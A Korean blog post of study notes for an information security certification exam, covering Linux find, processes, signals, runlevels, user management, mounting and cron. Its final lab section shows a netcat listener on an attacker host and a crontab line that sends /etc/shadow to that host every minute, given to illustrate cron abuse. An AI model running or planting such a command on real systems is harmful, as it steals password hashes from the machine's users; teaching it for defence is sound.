본문 바로가기
(실기) 정보보안기사&산업기사

UNIX/Linux 기본 학습 5~9

by IT매니절 2024. 3. 11.

주말에 한달전부터 있던 선약이 있어, 실기강의를 하나도 못 들었다.

그래서 이번주는 평소보다 좀 더 많이 듣기로 다짐...을 해봄

---

 

파일검색 find
-특수권한을 가진 파일 체크, 무결성 점검 등을 위해 실무에서 많이 사용

find path [expression] [action]
옵션
-name
-type (f일반파일 d디렉터리)
-user name 또는 id
-group name 또는 id
-size
-perm mode
-atime
-ctime
-mtime

ex
find . -name "*.dat" -a -type f | head -5 (현재위치에서, 이름이 .dat로 끝나고 파일타입이 f일반파일인 것을 5개만 보여준다)
(-a는 and연산(생략가능), -o는 or연산!는 not)

find . -type f -a -name "*.txt"  -exec ls -l {} \;
-rwxrwxrwx. 2 root root 5  3월  8 16:19 ./hard_c.txt
-rwxrwxrwx. 2 root root 5  3월  8 16:19 ./aaa/a.txt
-rw-r--r--. 1 root root 0  3월  8 17:23 ./aaa/abt.txt
(-exec 옵션을 이용해서 find한 결과를 ls -l 로 {}에 담아서 출력. \n는 끝을 의미한다. {}랑 붙여쓰면 에러남!)

 

find -perm -4000 (setuid(4000)가 설정된 파일을 포함해서 검색)
find -perm 4000 (setuid(4000)가 설정된 파일만 검색)

 

find / (\ -perm -4000 -o -perm -2000 \) -type f -user root -exec ls -l {} \;
(setuid나 setgid 설정 & 소유자가 root로 설정된 일반파일(실행파일 포함)

* or연산이 들어갈때는 \괄호로 묶어주는 것이 안전하다. 특히 -exec 할때!)

(지난번에 공부한 권한,  setuid 설정됨 = 4000 setgid 설정됨 = 2000 sticky Bit 설정됨 = 1000)

 

-exec 들어가면 빠른 논리 연산(short circuit logical operation)을 한다
or연산은 A or B에서 A가 true면 무조건 true다. B 연산을 안 한다.
and연산은 A and B에서 A가 false면 무조건 false다. 마찬가지로 후행연산을 하지 않음.
때문에, or연산을 괄호로 묶어주지 않으면 A or B C D ... 이렇게 있을때 A만 실행하고 뒤를 다 실행하지 않음.

 

find . -type f -mtime -10 -exec ls -la {} \;

( +n일 n일초과, -n일 미만(이내), n 정확히 n일 )

 

find -size 10M (10M)

find -size -10M (10M 미만)

find -size +10M (10M 초과)

 

find 명령어 실행하다가 의문이 들어 캡쳐해놓은 결과.

왜 4777 퍼미션이 제대로 결과가 나오지 않는걸까?

강사님께 여쭤보려고 남겨놓음.

-> ls -l은 기본적으로 디렉토리의 내부를 보는 명령어이므로,
디렉터리까지 출력되게 하려면 ls -ld 명령어를 사용해야함 ( ./aaa는 디렉터리이다. a.txt와 abt.txt는 aaa의 파일이고)

 

-- 5강 End

 

프로세스 응용

프로세스 개요
가상메모리를 할당하는데 User Area, Kernel Area로 나누어진다.

1. PCB 프로세스 제어 블럭 : 개별 프로세스별로 관리정보를 담고 있다
PCB 영역
[프로세스 상태 : CPU 스케줄링 정보. ready(cpu 할당을 못 받은 상태), running, blocked, terminated.
프로세스 번호 : pid
프로그램 카운터PC : 문맥교환이 발생할 경우 다음에 실행할 명령어(Instruction)의 위치값 저장
레지스터 : 문맥교환이 발생할 경우, 현재 프로세스의 실행 상태정보(레지스터 정보) 저장. 고속 저장장치.
메모리 정보 : 프로세스가 사용하는 메모리 page 또는 segment 테이블 정보]

Context Switching (문맥 교환)
CPU를 차지하고 있던 프로세스가 CPU자원을 반납하고 새로운 프로세스가 CPU를 할당받는것

준비 ready -> dispatch -> running (User Mode <-> Kernel Mode) -> blocking system call (I/O 입출력 함수) -> 대기 Blocked -> wake up -> 준비 ready

Running 상태
User Mode는 사용자 코드가 동작하는 상태이고 시스템 콜이 발생하면
Kernel Mode가 되어 OS가 동작한 후 다시 User Mode가 됨

2. 디스크립터 테이블FDT
- 기본적으로 3개의 파일이 자동 오픈. 표준입력stdin 표준출력sdtout 표준에러stderr
- 프로세스내 오픈한 파일을 식별하기 위한 양의 정수값.

3. 커널 영역에서 전역적으로 관리하는 자료구조 System open-file tables
- open_mode, offset(File position), reference count(FD 복제 때문에), vnode ptr(inode 포인터)

4. Active vnode table은 i-node 정보를 가지고 있는 일종의 캐시 역할. 다양한 i-node 구조체를 받아들이기 위함.

fork() = 자식 프로세스를 생성하는 시스템 함수. pid를 반환값으로 가진다.
pid가 0이면 자식 프로세스, pid가 0보다 크면 부모 프로세스.

init 프로세스
-> run_level os 운영레벨에 따른 시스템 초기화 (초기 프로세스 기동)
-> 대리모 역할(모든 프로세스는 부모 프로세스를 가지므로, 고아Orphan 프로세스의 대리모 역할을 함)
(kill -9 ppidNum -> ppidNum 프로세스의 자식 프로세스는 PPID가 init 프로세스가 된다)

ps -f 필드의미 기억하기
UID(EUID) PID  PPID  C STIME TTY(터미널 타입)    TIME CMD(커맨드)
root          1529  1525  0 14:26             pts/0          00:00:00    -bash

 

모든 자식 프로세스는 종료상태정보를 커널에 전달하고 (exit code, pid 등)
커널이 부모 프로세스에게 SIGCHLD로 종료를 알려준다.
sigchld에 대한 signal handler가 wait/waitpid를 통해 종료상태정보를 가져오고
커널이 자식 프로세스에게 종료해도 된다고 알림, 자식 프로세스가 종료됨.

프로세스가 종료했지만 관리정보가 소멸하지 않고 남아있는 상태 : 좀비상태

 

모든 자식 프로세스는 종료상태정보를 커널에 전달하고 (exit code, pid 등)
커널이 부모 프로세스에게 SIGCHLD로 종료를 알려준다.
sigchld에 대한 signal handler가 wait/waitpid를 통해 종료상태정보를 가져오고
커널이 자식 프로세스에게 종료해도 된다고 알림, 자식 프로세스가 종료됨.

프로세스가 종료했지만 관리정보가 소멸하지 않고 남아있는 상태 : 좀비상태

-> 시스템 가용성에 문제가 생길 수 있다

 

ps -l

S   UID   PID  PPID  C PRI  NI ADDR SZ   WCHAN  TTY       TIME    CMD
4 S     0  1529  1525    0  80   0      -   28887 do_wai    pts/0    00:00:00 bash
0 R     0 14875  1529   0  80   0      -   38332       -       pts/0    00:00:00 ps

1 Z      0 14876 1529   0  80   0      -       0       exit       pts/0   00:00:00  a.out <defunct> <-좀비 프로세스 표시

S는 프로세스의 현재 상태를 의미한다

R : 실행중이거나 Running CPU 할당을 대기중인 Runnable/Reday

S : 인터럽트 가능한 Sleep 상태

D : 인터럽트 불가능한 Sleep 상태

T : 프로세스 정지된 상태 Stopped

Z : 좀비상태 Zombie

PRI는 프로세스의 우선순위 (낮을수록 우선순위가 높음)

NI는 프로세스 우선순위 계산용 값

WCHAN는 Sleeping 상태의 프로세스가 대기하는 커널 함수명 (어떤 커널 함수때문에 대기중인지)

 

kill -9 또는 kill -KILL 하여 프로세스를 종료시킬 수 있다.

ex kill -9 14876 또는 kill -KILL 14876

 

kullall processname
시그텀이라는 터미네이트 시키는 시그널을 발생시킴. processname에 따른 모든 프로세스 종료

 

실습중에.

./aa.out &
이런식으로 끝에 & 기호를 붙이면 백그라운드로 프로세스를 실행할 수 있다고 하는데,

백그라운드 실행이 되지 않았다. 내용이 echo hello 여서 그런가? 모르겠음. sleep 1000 & 는 되는데.

nohup을 붙여봐도 ps -f 에서 프로세스가 확인되지 않았다.

 

abc.sh의 내용은 echo hello 뭐 이런것밖에 없음. 백그라운드로 실행되어야 하는데, 커서 제어권이 없는 상태.

명령어 입력을 위해 바깥으로 나오면 ps -f 에서 확인되지 않는다.

(하고 싶었던 것은 부모프로세스를 죽여 좀비 프로세스를 만드는 실습... )

-> 백그라운드 실행 후 엔터를 치면 명령 프롬프트 제어권을 다시 가질 수 있다 이건 딱히 에러는 아니라고함

ps -f에서 확인되지 않았던 이유는... 소스코드에 sleep이 없어서 바로 꺼진 것 같다.

 

-- 6 END

 

터미널 제어권
1. 터미널 인풋 Terminal Input
2. 터미널 제너레이티드 시그널 terminal generated signal 

 

Foreground mode : 터미널 제어권을 갖고 동작하는 모드

Background mode : 터미널 제어권 없이 동작하는 모드

Process Group : 터미널 제어권의 관리 단위. 

 

Terminal

-> connect

-> Session 생성 (세션1 생성 세션이란? 터미널-리눅스간 논리적인 연결 상태. SID=리더프로세스인 Login Shell의 PID)

->  Login Shell 구동 (Process Group도 함께 생성. 이 때 Login Shell은 프로세스 그룹의 Leader Process 리더 프로세스가 되고 로그인 쉘의 PID가 프로세스 그룹의 PGID가 된다)

-> 로그인 쉘에 의해 a.out 프로세스 실행 (이 때, 또 다른 Process Group2가 또 생긴다. PPID는 로그인 쉘의 PID)

-> fork()로 인해 복사본 프로세스 생성(별도의 PID)되면서 exec("a.out") ( 로그인쉘에서 a.out으로 프로세스 이미지 교체(전이) )

-> a.out(부모)과 복사된 a.out(자식. ppid는 a.out(부모)의 pid)은 하나의 Process Group2으로 묶임.

 

실습

sleep 1000 & 실행한 후

ps -o uid,pid,ppid,pgid,sid,cmd 또는 ps -ef 실행해서 출력결과 보기 (프로세스 옵션으로 원하는 항목 보기)
  UID   PID  PPID  PGID   SID CMD
 1001 16087 16086 16087 16087 -bash
 1001 19218 16087 19218 16087 sleep 1000
 1001 19728 16087 19728 16087 ps -o uid,pid,ppid,pgid,sid,cmd
(UID = EUID Effective User ID)

 

프로세스간 통신(시그널)
-프로세스에게 특정상황이 발생했음을 알리기 위한 비동기적 통신(통지 asynchronous notification)
- 발생의 주체는 kenel일수도 있고, 자기자신이나 다른 프로세스일 수 있다
- 시그널 목록 확인하기 : kill -l


특정상황
Terminal generated signal (SIGINT SIGQUIT SIGTSTP)
Hardware적인 예외상황 (메모리 참조오류 SIGSEGU, 산술연산오류 SIGFPE)
Software적인 예외상황 (SIGSHLD)
- kill 명령 / 시스템 콜

 

시그널 처리 방식
- handling
- ignore 무시
- default 아무것도 안함

 

관리목적의 시그널

SIGKILL    (9)  : 무시하거나 임의처리 불가. 종료된다.

SIGSTOP (23) : 무시하거나 임의처리 불가. 정지시키는 제어 시그널.

 

 

 

-- 7 END

 

 

시스템 시작과 종료
딱히 출제비중이 높진 않다고함

런 레벨Run level : 시스템 운영 상태를 숫자나 문자로 표현
런레벨 0 PROM 모드 : 시스템 부팅 전 하드웨어 체크


* init 프로세스
- pid 1번
- 시스템 운영 환경 초기화-> 초기 프로세스 기동
- 대리모 프로세스 역할
- 3번 Full multiuser mode나 5번 X11 X윈도우 모드를 자주 씀 (유닉스 5번은 시스템 Power Off모드)
- runlevel 치면 현재 runlevel 확인 가능

- init 6 이런식으로 런레벨을 지정하여 init 할 수 있음.

cd /etc/rc.d/rc5.d에서 ls해서 나오는 목록들이 초기실행스크립트.
S로 시작되는 것들만 실행함. S03 S05 ~ 이런식으로 숫자가 낮은것부터 실행.
불필요한 서비스는 mv S40snorted K40snorted 이런식으로 이름만 바꿔주면 실행하지 않게됨.

 

바이오스 과정 -> 부트 과정 -> 커널 과정 -> init 과정

시스템 종료
System V와 BSD계열에 따라 달라짐

하드디스크 동기화 Sync
- 입출력 효율성을 높이기 위해 버퍼를 운영
- 버퍼의 내용을 하드디스크로 옮기기 위한 명령어.

 

사용자관리
useradd : 사용자 계정 추가
옵션 (필기를 위해 알아두면 좋음)
-u 유저ID
-g 그룹명 또는 그룹ID : 기본그룹
-G 그룹명 또는 그룹ID : 보조그룹
-c comment : 보통 full name 설명
-s shell : 로그인쉘 지정
-d hemo_dir : 홈디렉토리 설정
-e expire_date : 계정만료일. 빈문자열은 기간없음
-f inactive : 계정비활성화일수. -1은 기간설정없음
-p password : shadow 파일에 평문으로 저장되기 때문에 passwd 명령어를 사용

 

usermod : 변경 ex usermod -g group1 user1 (user1의 그룹을 group1로 변경)
userdel : 삭제 ex userdel -r user1 (-r은 홈디렉터리 및 메일박스까지 전부 삭제하는 옵션)

groupadd : 그룹 추가
groupmod : 변경
groupdel : 삭제

취약점 관련해서 나중에 자주 보게되는 경로
/etc/login.defs (다양한 패스워드 정책들)
/etc/default/useradd
/etc/skel(디렉터리) : 홈 디렉터리 생성시 필요한 설정파일들

 

passwd -S username
-> -S로 유저정보를 볼 수 있음. (root 계정만)

 

로그인 불가 계정
시스템계정이나 어플리케이션 계정 등은 로그인이 불필요 (root 계정이라든지)
/etc/passwd파일에서 로그인 쉘 항목을 /sbin/nologin 또는 /bin/false로 설정

 

 

-- 8 End

 

 

파일시스템 연결mount
- disk -> 논리적인 파티션 -> 파일시스템 생성 -> 특정 디렉토리(마운트 포인트)에 연결(mount마운트)
- 시스템이 인식하도록 연결해주는 작업.
- mount 명령만 사용하면 현재 시스템에 마운트된 정보 출력

- /etc/fstab 에 mount 정보 있음

fdisk -l 현재 디스크 상태 출력

 

proc 메모리상에 존재하는 파일시스템
시스템 부팅이 되면 메모리상에 proc 폴더가 생성됨
커널이 파일시스템 proc로 관리함

 

umount 파일시스템 연결 해제

du 폴더명 : 디렉터리의 하드디스크 사용량 확인
(옵션은 os마다 다름. 리눅스는 -h 하면 사람이 보기 편하게 요약되어 보여줌)

 

df : 파일 시스템의 전체 공간 및 사용가능 공간에 대한 정보
옵션
-k 통계 데이터를 1024바이트 블록 단위로 출력

 

프로세스 정기적 스케줄 관리 cron

cron 데몬 프로세스는 정기적인 작업을 지정시간에 처리하기 위해 사용

필요한 구성요소
-작업 목록을 정리한 crontab 파일
-crontab 파일을 제어하는 contab 명령 (/etc/cron.allow, /etc/ cron.deny 파일) others 권한 전부 제거를 권장
-crontab 파일을 읽어서 작업을 처리하는 cron 데몬 프로세스

* crontab 파일의 구조
필드1 - 분 - 0-59
필드2 - 시 - 0-23
필드3 - 일 - 1-31
필드4 - 월 - 1-12
필드5 - 요일 - 0-6까지, 0이 일요일
필드6 - 작업 - 절대경로로 기술

 

분시일월요일작업


*는 모든 값, 0는 값의 범위, 「」는값을 구분, /는 간격값, #은 주석

예시
0 1 * * * /batch.sh : 매일 1시에 /batch.sh 실행
0 8-10 * * * /batch.sh : 매일 8-10시에 실행
*/5 * * * * /batch.sh : 매 5분 간격으로 /batch.sh 실행

해석, 작성할 수 있어야 함

 

crontab -l
크론탭에 등록된 작업리스트 출력

crontab -e
본인의 크론탭 작업리스트 수정 가능

crontab -u username -e
root 계정은 남의 것도 수정가능

 

ls -al /var/log/cron*
cron 작업 로그를 볼 수 있음

 

crontab 명령을 실행할 수 있는 사용자를 제한하여,

허용하지 않는 사용자가 임의의 cron 작업을 등록하지 못하도록 설정해야한다.

1. cron.allow 파일만 존재할 경우
-> cron.allow 파일에 등록된 사용자만 실행가능
2. cron.deny 파일만 존재할 경우
-> cron.deny에 명시된 사용자만 실행 불가능
3. 두 파일 모두 없을 경우
-> root 슈퍼유저만 실행 가능
4. 두 파일 모두 존재할 경우
-> cron.allow 파일을 우선하여 등록된 사용자만 실행 가능

 

시스템 해킹
- root 권한 탈취
- rootkit (backdoor백도어 설치)
- 악성 프로그램 설치 (주기적으로 서버로 업로드) -> cron에 악의적으로 등록될수있음

 

일시적 스케줄 관리 at (at 데몬)
- 정해진 시간에 한 번만 수행

 

실습
1. 공격자측 : nc -l -p 80
웹서버처럼 위장하여 80포트를 열고 있는 공격자 서버
2. * * * * * nc 192.0.0.0 80 < etc/shadow
etc/shadow 파일을 공격자 ip로 전송

3. 매 분마다 전송하게 되는 cron 공격

 

-- 9 END

'(실기) 정보보안기사&산업기사' 카테고리의 다른 글

UNIX/Linux 기본 학습 16~20  (0) 2024.03.13
UNIX/Linux 기본 학습 10~15  (0) 2024.03.12
UNIX/Linux 기본 학습 2~4  (0) 2024.03.08
UNIX/Linux 기본 학습 1  (0) 2024.03.07
윈도우 기본학습1  (0) 2024.03.07